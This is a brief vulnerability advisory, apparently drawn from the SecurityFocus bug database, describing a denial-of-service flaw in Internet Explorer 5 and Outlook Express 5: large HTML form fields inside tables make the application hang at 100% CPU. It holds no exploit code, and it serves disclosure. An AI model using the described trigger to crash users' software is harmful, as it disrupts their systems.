Microsoft Internet Explorer 5.0 for Windows 95/Windows 98/Windows NT 4 HTML Form Control DoS

source: https://www.securityfocus.com/bid/606/info

Certain Microsoft applications (IE5, Outlook Express 5) are unable to display large HTML form fields within HTML tables. Attempts to view the offending table will cause the application to "hang" and consume 100% CPU resources until the application is closed.
